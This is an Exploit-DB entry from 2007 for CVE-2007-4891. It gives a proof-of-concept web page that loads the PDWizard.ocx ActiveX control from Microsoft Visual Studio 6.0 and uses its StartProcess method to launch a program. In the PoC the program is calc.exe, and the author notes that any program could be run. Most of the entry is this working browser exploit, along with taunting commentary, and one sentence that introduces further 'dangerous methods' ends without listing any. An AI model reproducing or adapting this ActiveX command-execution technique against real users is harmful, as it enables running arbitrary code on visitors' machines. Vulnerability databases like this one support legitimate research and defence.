Microsoft Visual Studio 6.0 PDWizard.ocx Remote Command Execution

ID EDB-ID:4393
Type exploitdb
Reporter shinnai
Modified 2007-09-11T00:00:00


Microsoft Visual Studio 6.0 (PDWizard.ocx) Remote Command Execution. CVE-2007-4891. Remote exploit for windows platform

<code><span style="font: 10pt Courier New;"><span class="general1-symbol"><body bgcolor="#E0E0E0">------------------------------------------------------------------------------------------------------
 <b>Microsoft Visual Studio 6.0 PDWizard (PDWizard.ocx <= Remote Arbitrary Command Execution</b>

 author: shinnai
 mail: shinnai[at]autistici[dot]org

 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.
 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7

 <b><font color='red'>greetz to: Wiz001 (be safe brotha... and see soon :D)</font></b>

 This ocx contains a lot of extreme dangerous methods. Theese two are very interesting, they are:
 "StartProcess()" and "SyncShell()"
 Using one of them, you'll be able to run every program you like, simply giving to the method the 
 right argument.
 In this PoC, I use the "StartProcess()" method to execute the calc.exe, but you can do everything
 you like.
 Anyway, I think you could imagine what impact could have this kind of vulnerability :D

 Other dangerous methods of this ocx are:

<object classid='clsid:0DDF3C0B-E692-11D1-AB06-00AA00BDD685' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language = 'vbscript'>
 Sub tryMe()
  test.StartProcess "c:\windows\system32\calc.exe", "False" 'you can change with your favourite application ;)
 End Sub

# [2007-09-11]